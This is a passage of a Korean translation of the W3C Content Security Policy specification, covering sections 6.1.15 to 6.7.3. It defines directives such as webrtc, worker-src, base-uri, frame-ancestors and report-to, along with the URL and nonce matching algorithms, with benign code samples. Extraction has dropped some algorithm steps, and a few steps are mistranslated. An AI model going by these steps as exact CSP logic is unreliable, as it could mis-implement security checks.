6.1.15.1.
style-src-attr
인라인 검사
이 지시어의 인라인 검사 알고리즘은 다음과 같습니다:
Element
element, 문자열 type, policy
policy, 문자열 source가 주어졌을 때:
-
name을 § 6.8.2 인라인 검사에 대한 유효 지시어 획득을 type에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
style-src-attr
, policy에 대해 실행한 결과가 "No
"이면 "Allowed
"를 반환한다. -
§ 6.7.3.3 해당 타입과 소스에 대해 요소가 소스 리스트와 일치하는지 확인을 element, 본 지시어의 값(value), type, source에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.2. 기타 지시어
6.2.1. webrtc
webrtc 지시어는 WebRTC를 통한 연결의 허용 여부를 제한합니다. 지시어의 이름과 값의 문법은 다음 ABNF로 정의됩니다:
directive-name = "webrtc" directive-value = "'allow'" / "'block'"
Content-Security-Policy: webrtc 'block'
아래와 같이 설정하면, ICE 서버에 대해 STUN 체크가 이루어지지 않아 로컬 ICE 후보가 노출되지 않습니다. JS에서 제공한 원격 후보에 대해서도 연결 체크가 시도되지 않습니다. connectionState는 "new"에서 "connected"로 전이되지 않고 바로 "failed"로 전이됩니다. pc.restartIce()를 시도해도 동일한 결과가 반복됩니다.
< script > const iceServers= [{ urls: "stun:stun.l.google.com:19302" }]; const pc= new RTCPeerConnection({ iceServers}); pc. createDataChannel( "" ); const io= new WebSocket( 'ws://example.com:8080' ); pc. onicecandidate= ({ candidate}) => io. send({ candidate}); pc. onnegotiationneeded= async () => { await pc. setLocalDescription(); io. send({ description: pc. localDescription}); }; io. onmessage= async ({ data: { description, candidate}}) => { if ( description) { await pc. setRemoteDescription( description); if ( description. type== "offer" ) { await pc. setLocalDescription(); io. send({ description: pc. localDescription}); } } else if ( candidate) await pc. addIceCandidate( candidate); }; </ script >
6.2.1.1.
webrtc
사전 연결 검사
이 지시어의 webrtc 사전 연결 검사는 다음과 같습니다:
-
이 지시어의 값(value)이 단일 항목이고, ASCII 대소문자 구분 없이 "
'allow'
"와 일치하면, "Allowed
"를 반환한다. -
"
Blocked
"를 반환한다.
6.2.2.
worker-src
worker-src 지시어는 Worker
,
SharedWorker
,
ServiceWorker
로
불러올 수 있는 URL을 제한합니다.
지시어의 이름과 값의 문법은 다음 ABNF로 정의됩니다:
directive-name = "worker-src" directive-value = serialized-source-list
Content-Security-Policy: worker-src https://example.com/
아래 코드의 fetch는 모두 네트워크 오류가 반환됩니다. 제공된 URL이 worker-src
의 소스 리스트와 일치하지 않기 때문입니다:
< script > var blockedWorker= new Worker( "data:application/javascript,..." ); blockedWorker= new SharedWorker( "https://example.org/" ); navigator. serviceWorker. register( 'https://example.org/sw.js' ); </ script >
6.2.2.1.
worker-src
사전 요청 검사
이 지시어의 사전 요청 검사는 다음과 같습니다:
request request, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
worker-src
, policy에 대해 실행한 결과가 "No
"이면 "Allowed
"를 반환한다. -
§ 6.7.2.5 요청이 소스 리스트와 일치하는지 확인을 request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.2.2.2.
worker-src
사후 요청 검사
이 지시어의 사후 요청 검사는 다음과 같습니다:
request request, response response, policy policy가 주어졌을 때:
-
name을 § 6.8.1 요청에 대한 유효 지시어 획득을 request에 대해 실행한 결과로 한다.
-
§ 6.8.4 fetch 지시어 실행 여부를 name,
worker-src
, policy에 대해 실행한 결과가 "No
"이면 "Allowed
"를 반환한다. -
§ 6.7.2.6 요청에 대한 응답이 소스 리스트와 일치하는지 확인을 response, request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다. -
"
Allowed
"를 반환한다.
6.3. 문서 지시어
다음 지시어들은 정책이 적용되는 문서 또는 워커 환경의 속성을 제어합니다.
6.3.1.
base-uri
base-uri 지시어는 URL
이
다음 위치에서 사용될 수 있는지 제한합니다:
Document
의
base
요소. 지시어 이름과 값의 문법은 다음 ABNF로 정의됩니다:
directive-name = "base-uri" directive-value = serialized-source-list
다음 알고리즘은 HTML의 frozen base url 설정 알고리즘에서 호출되어 이 지시어를 감시 및 적용합니다:
6.3.1.1. document에 base가 허용되는가?
URL
base와 Document
document가 주어졌을 때, 이 알고리즘은
base
요소의
href
속성값으로 base를 사용할 수 있으면 "Allowed
"를, 아니면 "Blocked
"를 반환한다:
-
각각의 policy에 대해 document의 전역 객체의 csp 리스트에서:
-
source list를 null로 한다.
-
지시어 중 name이 "
base-uri
"인 것이 policy의 지시어 집합에 있으면, source list를 그 지시어의 값(value)으로 설정한다. -
source list가 null이면, 다음 policy로 건너뛴다.
-
§ 6.7.2.7 url이 origin/redirect count와 함께 소스 리스트와 일치하는지 확인을 base, source list, policy의 self-origin,
0
에 대해 실행한 결과가 "Does Not Match
"면:-
violation을 § 2.4.1 전역, 정책, 지시어에 대한 violation 객체 생성을 document의 전역 객체, policy, "
base-uri
"에 대해 실행한 결과로 한다. -
violation의 resource를 "
inline
"으로 설정한다. -
§ 5.5 violation 보고를 violation에 대해 실행한다.
-
policy의 disposition이 "
enforce
"이면, "Blocked
"를 반환한다.
-
참고: fallback base URL과 비교하는 것은 iframe
srcdoc
Document
처럼 opaque origin으로 샌드박스된 경우를 올바르게 처리하기 위함입니다. -
-
"
Allowed
"를 반환한다.
6.3.2.
sandbox
sandbox 지시어는 사용자 에이전트가 리소스에
적용할 HTML 샌드박스 정책을 지정합니다. 이는
iframe
요소의
sandbox
속성에 포함된 것과 동일하게 동작합니다.
지시어의 문법은 다음 ABNF로 정의되며, 각 토큰 값은 반드시 HTML 명세에서
sandbox
속성에 대해 허용된 값이어야 합니다 [HTML]:
directive-name = "sandbox" directive-value = "" / token *( required-ascii-whitespace token )
이 지시어는 보고 요구사항이 없습니다. Content-Security-Policy-Report-Only
헤더 또는
meta
요소에서 전달되면 완전히 무시됩니다.
6.3.2.1.
sandbox
초기화
이 지시어의 초기화 알고리즘은
워커가 정책에 따라 sandbox
값에 따라
실행될 수 있는지 확인하는 역할을 한다:
참고: sandbox 지시어는 또한 Document
의
active sandboxing flag set을 CSP-derived sandboxing flags 알고리즘을 통해 조정하는 역할도 합니다.
Document
또는 전역 객체 context, policy
policy가 주어졌을 때:
-
policy의 disposition이 "
enforce
"가 아니거나, context가WorkerGlobalScope
가 아니면, 이 알고리즘을 중단한다. -
sandboxing flag set을 새로운 sandboxing flag set으로 한다.
-
샌드박스 지시어 파싱을 이 지시어의 값(value)과 sandboxing flag set에 대해 실행한다.
-
sandboxing flag set에 sandboxed scripts browsing context flag 또는 sandboxed origin browsing context flag가 있으면, "
Blocked
"를 반환한다.참고: 워커를 고유한 origin으로 샌드박스할 수 있도록 하는 경우 이 동작이 변경될 수 있습니다.
-
"
Allowed
"를 반환한다.
6.4. 내비게이션 지시어
6.4.1.
form-action
form-action 지시어는 특정
컨텍스트에서 폼 제출의 대상이 될 수 있는 URL
을
제한합니다. 지시어 문법은 아래 ABNF로 정의됩니다:
directive-name = "form-action" directive-value = serialized-source-list
6.4.1.1.
form-action
사전 내비게이션 검사
request request, 문자열 navigation type
("form-submission
" 또는
"other
"), policy policy가 주어졌을 때, 이 알고리즘은 폼 제출이
form-action
지시어의 제약을 위반하면 "Blocked
", 그렇지 않으면 "Allowed
"를 반환한다. 이
알고리즘이 form-action
지시어의 사전 내비게이션 검사이다:
-
단언: policy는 이 알고리즘에서 사용되지 않는다.
-
navigation type이 "
form-submission
"이면:-
§ 6.7.2.5 요청이 소스 리스트와 일치하는지 확인을 request, 본 지시어의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다.
-
-
"
Allowed
"를 반환한다.
6.4.2.
frame-ancestors
frame-ancestors
지시어는
URL
이
다음 요소를 통해 리소스를 임베드할 수 있는지 제한합니다:
frame
,
iframe
,
object
,
embed
.
이 지시어를 사용하면 리소스가 잠재적으로 악의적인 컨텍스트에 임베드되는 것을 방지하여 UI Redressing [UISECURITY]
공격을 예방할 수 있습니다.
지시어의 문법은 다음 ABNF로 정의됩니다:
directive-name = "frame-ancestors" directive-value = ancestor-source-list ancestor-source-list = ( ancestor-source *( required-ascii-whitespace ancestor-source) ) / "'none'" ancestor-source = scheme-source / host-source / "'self'"
frame-ancestors
지시어는
meta
요소의 정책에 포함되어 있으면 무시되어야 합니다.
참고: frame-ancestors
지시어 문법은 소스 리스트와 비슷하지만,
frame-ancestors
는 default-src
의 값으로 폴백하지 않습니다. 즉,
default-src 'none'
만 선언할 경우에도 리소스는 누구에게나 임베드될 수 있습니다.
6.4.2.1.
frame-ancestors
내비게이션 응답 검사
request request, 문자열 navigation type
("form-submission
" 또는 "other
"), response
navigation response, navigable target,
문자열 check type ("source
" 또는 "response
"), policy
policy가 주어졌을 때, 이 알고리즘은 target의 조상 중 하나라도 응답에 포함된 frame-ancestors
지시어를 위반하면 "Blocked
", 아니면 "Allowed
"를 반환한다. 이 알고리즘이 frame-ancestors
지시어의 내비게이션 응답 검사이다:
-
단언: request, navigation response, navigation type은 이 알고리즘의 이후 단계에서는 사용되지 않는다.
frame-ancestors
는 오직 navigation response의 frame-ancestors 지시어만을 고려한다. -
check type이 "
source
"면 "Allowed
"를 반환한다.참고: 'frame-ancestors' 지시어는 target navigable에만 관련이 있으며, request의 컨텍스트에는 영향을 주지 않는다.
-
target이 자식 내비게이션(child navigable)이 아니면 "
Allowed
"를 반환한다. -
current를 target으로 한다.
-
current가 자식 내비게이션(child navigable)인 동안:
-
document를 current의 컨테이너 문서(container document)로 한다.
-
origin을 URL 파서를 origin의 ASCII 직렬화에 대해 실행한 결과로 한다.
-
§ 6.7.2.7 url이 origin/redirect count와 함께 소스 리스트와 일치하는지 확인을 origin, 본 지시어의 값(value), policy의 self-origin,
0
에 대해 실행한 결과가 "Does Not Match
"면 "Blocked
"를 반환한다. -
current를 document의 node navigable로 설정한다.
-
-
"
Allowed
"를 반환한다.
6.4.2.2.
``X-Frame-Options
`
`과의
관계
X-Frame-Options
`이 지시어는
``
`
HTTP
응답 헤더와 유사합니다. X-Frame-Options
`'none'
소스 식은 해당 헤더의 `DENY
`와, 'self'
는 해당 헤더의
`SAMEORIGIN
`과 대략적으로 동일합니다. [HTML]
하위 호환 배포를 허용하기 위해,
frame-ancestors
지시어는
``
`
헤더를 덮어씁니다. 리소스가
policy에 frame-ancestors 지시어가 포함되어 있고 disposition이
"X-Frame-Options
`enforce
"이면,
``
`
헤더는 HTML의 처리 모델에 따라 무시됩니다.
X-Frame-Options
`
6.5. 보고 지시어
이 문서의 다양한 알고리즘은 violation 객체를 § 2.4.2 요청과 정책에 대한 violation 객체 생성 또는 § 2.4.1 전역, 정책, 지시어에 대한 violation 객체 생성을 통해 생성한 후, § 5.5 violation 보고에 전달하는 방식으로 보고 프로세스에 연결됩니다.
6.5.1.
report-uri
report-uri
지시어는
더 이상 권장되지 않습니다. 대신 report-to
지시어를 사용하세요. 후자가 있으면 이 지시어는 무시됩니다. 하위 호환성을 위해 두
지시어를 모두 아래처럼 지정하는 것이 좋습니다:
Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname
report-uri
지시어는 특정 동작이 차단될 때 CSP 위반 보고서가 전송될 엔드포인트 집합을 정의합니다.
directive-name = "report-uri" directive-value = uri-reference *( required-ascii-whitespace uri-reference ) ; uri-reference 문법은 RFC 3986 4.1절에서 정의됨.
이 지시어는 단독으로는 아무 효과가 없으며, 다른 지시어와 조합될 때만 의미를 가집니다.
6.5.2.
report-to
report-to
지시어는 위반 보고서를 전송해야 하는 보고 엔드포인트를 정의합니다 [REPORTING]. 지시어의 동작은 § 5.5 violation 보고에서
정의됩니다. 지시어 이름과 값의 문법은 다음 ABNF로 정의됩니다:
directive-name = "report-to" directive-value = token
6.6. 다른 문서에 정의된 지시어
이 문서는 핵심 지시어 집합을 정의하며, 다른 명세가 모듈형으로 확장할 수 있는 프레임워크를 제공합니다. 이 문서가 작성된 시점에 CSP를 확장하는 안정화된 문서는 다음과 같습니다:
-
[MIX]는
block-all-mixed-content
를 정의합니다. -
[UPGRADE-INSECURE-REQUESTS]는
upgrade-insecure-requests
를 정의합니다.
CSP 확장 명세는 반드시 [RFC7762]에서 설명하는 절차에 따라 등록해야 합니다. 특히 해당 문서 4.2절의 기준을 참고하세요.
새로운 지시어는 Fetch와 HTML에 통합되기 위해 사전 요청 검사(pre-request check), 사후 요청 검사(post-request check), 초기화(initialization) 훅을 사용하는 것이 좋습니다.
6.7. 매칭 알고리즘
6.7.1. 스크립트 지시어 검사
6.7.1.1. 스크립트 지시어 사전 요청 검사
request request, directive directive, policy policy가 주어졌을 때:
-
request의 destination이 스크립트류이면:
-
§ 6.7.2.3 nonce가 소스 리스트와 일치하는지 확인을 request의 cryptographic nonce metadata 및 본 지시어의 값(value)에 대해 실행한 결과가 "
Matches
"이면 "Allowed
"를 반환한다. -
§ 6.7.2.4 무결성 메타데이터가 소스 리스트와 일치하는지 확인을 request의 integrity metadata 및 본 지시어의 값(value)에 대해 실행한 결과가 "
Matches
"이면 "Allowed
"를 반환한다. -
directive의 값(value)에 소스 식(source expression)이 포함되어 있고, 그 값이 "
'strict-dynamic'
" 키워드-소스(keyword-source)와 ASCII 대소문자 구분 없이 일치할 경우:-
request의 parser metadata가 "parser-inserted"이면 "
Blocked
"를 반환한다.그 외에는 "
Allowed
"를 반환한다.참고: "
'strict-dynamic'
" 자세한 설명은 § 8.2 "'strict-dynamic'" 사용법 참고.
-
-
§ 6.7.2.5 요청이 소스 리스트와 일치하는지 확인을 request, directive의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다.
-
-
"
Allowed
"를 반환한다.
6.7.1.2. 스크립트 지시어 사후 요청 검사
이 지시어의 사후 요청 검사는 다음과 같습니다:
request request, response response, directive directive, policy policy가 주어졌을 때:
참고: 이 검사는 request의 cryptographic nonce metadata나 integrity metadata가 일치하는 경우에는 스크립트가 로드되는 것이 허용되므로, response의 URL이 소스 리스트와 일치하는지 여부는 검사하지 않습니다. 따라서 request와 response 모두가 입력 파라미터로 필요합니다.
-
request의 destination이 스크립트류이면:
-
potentially report hash를 response, request, directive, policy로 호출한다.
-
§ 6.7.2.3 nonce가 소스 리스트와 일치하는지 확인을 request의 cryptographic nonce metadata 및 본 지시어의 값(value)에 대해 실행한 결과가 "
Matches
"이면 "Allowed
"를 반환한다. -
§ 6.7.2.4 무결성 메타데이터가 소스 리스트와 일치하는지 확인을 request의 integrity metadata 및 본 지시어의 값(value)에 대해 실행한 결과가 "
Matches
"이면 "Allowed
"를 반환한다. -
directive의 값(value)에 소스 식(source expression)이 포함되어 있고, 그 값이 "
'strict-dynamic'
" 키워드-소스(keyword-source)와 ASCII 대소문자 구분 없이 일치할 경우:-
request의 parser metadata가 "parser-inserted"이면 "
Blocked
"를 반환한다.그 외에는 "
Allowed
"를 반환한다.참고: "
'strict-dynamic'
" 자세한 설명은 § 8.2 "'strict-dynamic'" 사용법 참고.
-
-
§ 6.7.2.6 요청에 대한 응답이 소스 리스트와 일치하는지 확인을 response, request, directive의 값(value), policy에 대해 실행한 결과가 "
Does Not Match
"이면 "Blocked
"를 반환한다.
-
-
"
Allowed
"를 반환한다.
6.7.2. URL 일치 검사
6.7.2.1. request가 policy를 위반하는가?
request request와 policy
policy가 주어졌을 때,
이 알고리즘은 요청이 정책을 위반하면 위반한 지시어를
반환하고, 그렇지 않으면 "Does Not Violate
"를 반환한다.
-
request의 initiator가 "
prefetch
"이면, § 6.7.2.2 리소스 힌트 요청이 정책을 위반하는가?를 request와 policy에 대해 실행한 결과를 반환한다. -
violates를 "
Does Not Violate
"로 한다. -
각 directive에 대하여 policy에서:
-
result를 directive의 사전 요청 검사를 request와 policy로 실행한 결과로 한다.
-
result가 "
Blocked
"이면 violates를 directive로 한다.
-
-
violates를 반환한다.
6.7.2.2. 리소스 힌트 request가 policy를 위반하는가?
request request와 policy
policy가 주어졌을 때,
이 알고리즘은 리소스 힌트 요청이 모든 정책을 위반하면 기본 지시어를 반환하며, 그렇지 않으면 "Does Not Violate
"를 반환한다.
-
defaultDirective를 policy의 첫 번째 지시어 중 name이 "
default-src
"인 것으로 한다. -
defaultDirective가 없으면 "
Does Not Violate
"를 반환한다. -
각 directive에 대하여 policy에서:
-
directive의 name이 아래 중 하나가 아니면:
-
child-src
-
connect-src
-
font-src
-
frame-src
-
img-src
-
manifest-src
-
media-src
-
object-src
-
script-src
-
script-src-elem
-
style-src
-
style-src-elem
-
worker-src
그렇다면 다음 directive로 진행.
-
-
result를 § 6.7.2.5 요청이 소스 리스트와 일치하는지 확인을 request, directive의 값(value), policy로 실행한 결과로 한다.
-
result가 "
Allowed
"이면 "Does Not Violate
"를 반환한다.
-
-
defaultDirective를 반환한다.
6.7.2.3. nonce가 source list와 일치하는가?
request의 cryptographic nonce metadata
nonce와 source
list source list가 주어졌을 때, 이 알고리즘은 nonce가 리스트 내 하나 이상의 소스 식과 일치하면
"Matches
", 그렇지 않으면 "Does Not Match
"를 반환한다:
-
단언: source list는 null이 아니다.
-
nonce가 빈 문자열이면 "
Does Not Match
"를 반환한다. -
각 expression에 대해 source list에서:
-
expression이
nonce-source
문법에 일치하고, nonce가 동일하다면 expression의base64-value
부분과, "Matches
"를 반환한다.
-
-
"
Does Not Match
"를 반환한다.
6.7.2.4. integrity metadata가 source list와 일치하는가?
request의 integrity metadata
integrity metadata와 source list source list가 주어졌을 때, 이 알고리즘은 무결성 메타데이터가 리스트 내
하나 이상의 소스 식과 일치하면 "Matches
", 그렇지 않으면 "Does Not Match
"를 반환한다:
-
단언: source list는 null이 아니다.
-
integrity expressions를 source list 내에서 소스 식 중 hash-source 문법에 일치하는 집합으로 한다.
-
integrity expressions가 비어 있으면 "
Does Not Match
"를 반환한다. -
integrity sources를 메타데이터 파싱을 integrity metadata에 대해 실행한 결과로 한다. [SRI]
-
integrity sources가 "
no metadata
" 또는 빈 집합이면 "Does Not Match
"를 반환한다. -
각 source에 대해 integrity sources에서:
-
integrity expressions가 소스 식을 포함하지 않으면, 해당 hash-algorithm이 source의 hash-algorithm과 ASCII 대소문자 구분 없이 일치하고, base64-value도 동일하지 않으면 "
Does Not Match
"를 반환한다.
-
-
"
Matches
"를 반환한다.
참고: 여기서는 integrity metadata가 source list의 hash-source 소스의 비어 있지 않은 부분집합인지 여부만 검증한다. 브라우저의 Subresource Integrity [SRI] 구현이 응답 시 일치하지 않는 리소스를 차단하는 역할을 한다.
6.7.2.5. request가 source list와 일치하는가?
request request, source list source list, policy policy가 주어졌을 때, 이 알고리즘은 § 6.7.2.7 url이 origin/redirect count와 함께 소스 리스트와 일치하는지 확인을 request의 current url, source list, policy의 self-origin, request의 redirect count에 대해 실행한 결과를 반환한다.
참고: 이 검사는 일반적으로 지시어의 사전 요청 검사 알고리즘에서 해당 request가 올바른지 확인하는 데 사용된다.
6.7.2.6. response가 request에 대해 source list와 일치하는가?
response response, request request, source list source list, policy policy가 주어졌을 때, 이 알고리즘은 § 6.7.2.7 url이 origin/redirect count와 함께 소스 리스트와 일치하는지 확인을 response의 url, source list, policy의 self-origin, request의 redirect count에 대해 실행한 결과를 반환한다.
참고: 이 검사는 일반적으로 지시어의 사후 요청 검사 알고리즘에서 해당 response 가 올바른지 확인하는 데 사용된다.
6.7.2.7. url이 origin 및 redirect count와 함께 source list와 일치하는가?
URL
url, source list
source list, origin origin, 숫자 redirect count가 주어졌을 때,
이 알고리즘은 url이 source list 내 하나 이상의 소스 식과 일치하면 "Matches
", 그렇지 않으면
"Does Not Match
"를 반환한다:
-
단언: source list는 null이 아니다.
-
source list가 비어 있으면 "
Does Not Match
"를 반환한다. -
source list의 크기가 1이고, source list[0]이 "
'none'
" 문자열과 ASCII 대소문자 구분 없이 일치하면 "Does Not Match
"를 반환한다.참고: 값 없는 지시어(
script-src
처럼,script-src host1
처럼 값이 있는 것이 아님)는 빈 소스 리스트로 취급되고, 이는'none'
을 포함한 소스 리스트와 동일하며 어떤 URL과도 일치하지 않는다.참고:
'none'
키워드는 다른 소스 식이 있을 때는 아무 효과가 없다. 즉, 리스트 «'none'
»는 어떤 URL에도 일치하지 않는다. 하지만 «'none'
,https://example.com
»과 같은 리스트는https://example.com/
과 일치한다. -
각 expression에 대해 source list에서:
-
§ 6.7.2.8 url이 origin/redirect count와 함께 표현식과 일치하는가?를 url, expression, origin, redirect count에 대해 실행한 결과가 "
Matches
"이면 "Matches
"를 반환한다.
-
-
"
Does Not Match
"를 반환한다.
6.7.2.8. url이 origin 및 redirect count와 함께 expression과 일치하는가?
URL
url, source expression expression, origin origin, 숫자 redirect count가 주어졌을 때,
이 알고리즘은 url이 expression과 일치하면 "Matches
"를, 그렇지 않으면
"Does Not Match
"를 반환한다.
참고: origin은 expression이 해석되는
기준이 되는 리소스의 origin이다. 예를 들어 "'self'
"는 해당 컨텍스트에 따라 의미가 달라진다.
-
expression이 문자열 "*"이면, 다음 조건 중 하나라도 충족하면 "
Matches
"를 반환한다:-
url의 scheme이 HTTP(S) scheme이다.
참고: 이 로직에 따라 HTTP(S)가 아닌 scheme의 리소스를 허용하려면 명시적으로 지정해야 하며 (
default-src * data: custom-scheme-1: custom-scheme-2:
처럼), 혹은 보호된 리소스가 동일 scheme에서 로드되어야 한다. -
-
expression이
scheme-source
또는host-source
문법에 일치하면:-
expression에
scheme-part
가 있고 url의 scheme과scheme-part
match하지 않으면 "Does Not Match
"를 반환한다. -
expression이
scheme-source
문법에 일치하면, "Matches
"를 반환한다.
-
-
expression이
host-source
문법에 일치하면:-
url의
host
가 null이면 "Does Not Match
"를 반환한다. -
expression에
scheme-part
가 없고, origin의 scheme이 url의scheme-part
match가 아니면, "Does Not Match
"를 반환한다.참고: 위의
scheme-part
와 마찬가지로, scheme이 없는host-source
표현식은 불안전한 scheme에서 안전한 scheme으로 업그레이드할 수 있다. -
expression의
host-part
가 url의host
와host-part
match하지 않으면 "Does Not Match
"를 반환한다. -
port-part를 expression의
port-part
(존재할 경우), 없으면 null로 한다. -
port-part가 url과
port-part
match하지 않으면 "Does Not Match
"를 반환한다. -
expression에 비어 있지 않은
path-part
가 있고, redirect count가 0이면:-
path를 URL path serializer를 url에 실행한 결과로 한다.
-
expression의
path-part
가 path와path-part
match하지 않으면 "Does Not Match
"를 반환한다.
-
-
"
Matches
"를 반환한다.
-
-
expression이 "
'self'
"와 ASCII 대소문자 구분 없이 일치하면, 다음 조건 중 하나라도 충족하면 "Matches
"를 반환한다:-
origin이 url의 origin과 동일하다.
-
origin의
host
가 url의host
와 동일하며, origin의port
와 url의port
가 동일하거나, 각 scheme에 대한 기본 포트일 때, 다음 조건 중 하나를 만족하면:
참고: 위의
scheme-part
로직과 같이, "'self'
" 일치 알고리즘은 안전한 scheme으로 업그레이드가 가능한 경우 허용한다. 이런 업그레이드는 해당 scheme의 기본 포트이거나 보호 대상 리소스의 origin과 포트가 일치하는 경우에만 허용된다. -
-
"
Does Not Match
"를 반환한다.
6.7.2.9.
scheme-part
일치
두 ASCII 문자열 scheme-part
match는, 첫 번째가 scheme-part
로 포함된 CSP source expression이 두 번째를
scheme으로 포함한 URL과 일치할 수 있을 경우 참으로 간주한다. 예를 들어 "http"가 "https"와 scheme-part match
라고 한다.
참고: 일치 관계는 비대칭이다. 예를 들어 https:
및
https://example.com/
은 http://example.com/
과 일치하지 않는다. 명시적으로 불안전한 표현식에서 안전한
업그레이드를 항상 허용한다. script-src http:
는 script-src http: https:
와 같고,
script-src http://example.com
는
script-src http://example.com https://example.com
와 같으며, connect-src ws:
는
connect-src ws: wss:
와 같다.
좀 더 공식적으로, 두 ASCII 문자열 A, B가 scheme-part match
인 것은 다음
알고리즘이 "Matches
"를 반환하는 경우이다:
-
다음 중 하나라도 참이면 "
Matches
"를 반환한다:-
A가 B와 ASCII 대소문자 구분 없이 일치한다.
-
A가 "
http
"와 ASCII 대소문자 구분 없이 일치하고, B가 "https
"와 ASCII 대소문자 구분 없이 일치한다. -
A가 "
ws
"와 ASCII 대소문자 구분 없이 일치하고, B가 "wss
" 또는 "http
" 또는 "https
"와 ASCII 대소문자 구분 없이 일치한다. -
A가 "
wss
"와 ASCII 대소문자 구분 없이 일치하고, B가 "https
"와 ASCII 대소문자 구분 없이 일치한다.
-
-
"
Does Not Match
"를 반환한다.
6.7.2.10.
host-part
일치
ASCII 문자열 host-part
일치는 host
와 일치하는 CSP 소스 식에 첫 번째가 host-part
로 포함될 수 있는 경우 참으로 간주한다. 예를 들어,
"www.example.com"이 "www.example.com"과 host-part 일치라고 한다.
좀 더 공식적으로, ASCII 문자열 pattern과 host host
가 host-part
일치인 것은 아래 알고리즘이 "Matches
"를 반환하는 경우이다:
참고: 일치 관계는 비대칭이다. 즉, pattern이
host와 일치한다고 해서 host가 pattern과 일치하는 것은 아니다. 예를 들어,
*.example.com
이 www.example.com
과 host-part
일치이지만,
www.example.com
은 *.example.com
과 host-part
일치가 아니다.
참고: 향후 명세에서는 사용성과 수요에 따라 IPv6 및 IPv4 주소의 리터럴을 허용할 수 있다. 하지만 IP 주소의 보안 특성이 네임드 호스트에 비해 약하므로, 작성자들은 가능하면 네임드 호스트를 우선 사용하는 것이 권장된다.
-
host가 도메인이 아니면, "
Does Not Match
"를 반환한다. -
pattern이 "
*
"이면, "Matches
"를 반환한다. -
pattern이 "
*.
"로 시작하면:-
remaining을 pattern에서 앞의 U+002A (
*
)를 제거하고 ASCII 소문자화한 값으로 한다. -
host를 ASCII 소문자화한 값이 ends with remaining이면, "
Matches
"를 반환한다. -
"
Does Not Match
"를 반환한다.
-
-
pattern이 host와 ASCII 대소문자 구분 없이 일치하지 않으면, "
Does Not Match
"를 반환한다. -
"
Matches
"를 반환한다.
6.7.2.11.
port-part
일치
ASCII 문자열 또는 null input port-part
일치
URL url과 일치하는 CSP 소스 식에 첫 번째가 port-part
로 포함된 경우
참으로 간주한다. 예를 들어, "80"이 http://example.com에 port-part
일치이다.
-
단언: input은 null, "*", 또는 하나 이상의 ASCII 숫자의 시퀀스이다.
-
input이 "*"과 같으면, "
Matches
"를 반환한다. -
normalizedInput을 input이 null이면 null, 아니면 10진수로 해석한 값으로 한다.
-
normalizedInput이 url의 port와 같으면, "
Matches
"를 반환한다. -
url의 port가 null이면:
-
"
Does Not Match
"를 반환한다.
6.7.2.12.
path-part
일치
ASCII 문자열 path A path-part
일치
또 다른 ASCII 문자열 path B와 일치하는 CSP 소스 식에 첫 번째가 path-part
로 포함될 수 있는 경우 참으로 간주한다. 예를 들어,
"/subdirectory/"가 "/subdirectory/file"과 path-part
일치이다.
참고: 일치 관계는 비대칭이다. 즉, path A가 path B와 일치한다고 해서 path B가 path A와 일치하는 것은 아니다.
-
path A가 빈 문자열이면, "
Matches
"를 반환한다. -
path A가 하나의 문자이고 U+002F SOLIDUS 문자(
/
)와 같고 path B가 빈 문자열이면, "Matches
"를 반환한다. -
path A의 마지막 문자가 U+002F SOLIDUS 문자(
/
)이면 exact match를false
로, 아니면true
로 한다. -
path list A와 path list B를 strictly splitting을 path A, path B에 각각 U+002F SOLIDUS 문자(
/
)로 실행한 결과로 한다. -
path list A가 path list B보다 항목이 많으면, "
Does Not Match
"를 반환한다. -
exact match가
true
이고, path list A와 path list B의 항목 수가 다르면 "Does Not Match
"를 반환한다. -
exact match가
false
이면:-
단언: path list A의 마지막 항목은 빈 문자열이다.
-
path list A에서 마지막 항목을 제거한다.
-
-
각 piece A에 대해 path list A에서:
-
piece B를 path list B의 다음 항목으로 한다.
-
decoded piece A를 percent-decoding을 piece A에 실행한 결과로 한다.
-
decoded piece B를 percent-decoding을 piece B에 실행한 결과로 한다.
-
decoded piece A가 decoded piece B와 다르면, "
Does Not Match
"를 반환한다.
-
-
"
Matches
"를 반환한다.
6.7.3. 요소 일치 알고리즘
6.7.3.1. element가 nonceable인가?
Element
element가 주어졌을 때, 이 알고리즘은 nonce-source
표현식이 해당 요소와 일치할 수
있으면("Nonceable
"), 일치하지 말아야 하면("Not Nonceable
")을 반환한다.
-
element에 "
nonce
"라는 속성이 없으면 "Not Nonceable
"를 반환한다. -
element가
script
요소라면, 각 attribute에 대해 element의 속성 리스트에서:-
attribute의 이름이 "
<script
" 또는 "<style
"와 ASCII 대소문자 구분 없이 일치하면 "Not Nonceable
"를 반환한다. -
attribute의 값에 "
<script
" 또는 "<style
"와 ASCII 대소문자 구분 없이 일치하면 "Not Nonceable
"를 반환한다.
-
-
element가 토큰화 과정에서 중복 속성 파싱 오류가 있었다면, "
Not Nonceable
"를 반환한다.HTML에서 이 오류를 기록할 훅이 필요함. [whatwg/html Issue #3257]
-
"
Nonceable
"를 반환한다.
이 처리는 dangling markup
공격(기존 요소에서 nonce를 훔쳐 인젝션된 스크립트를 실행)에 대한 위험을 줄이기 위한 것이다. 속성과 값 전체를 검사해야 해서 비용이 크며, nonce가 있는
script
요소에만 적용해 영향 최소화 시도. 영향 파악 전까지는 "risk 있음"으로 고려. [w3c/webappsec-csp Issue #98]
6.7.3.2. 소스 리스트가 type의 모든 인라인 동작을 허용하는가?
소스 리스트
모든 인라인 동작을
허용한다
는 주어진 type에 대해 keyword-source
표현식 'unsafe-inline'
을 포함하고, 아래 알고리즘에서 이 표현식이
무효화되지 않는 경우를 의미한다:
source list list와
문자열 type이 주어졌을 때, 아래 알고리즘은 해당 type의 모든 인라인 콘텐츠가 허용되면 "Allows
"를, 아니면
"Does Not Allow
"를 반환한다.
-
allow all inline을
false
로 한다. -
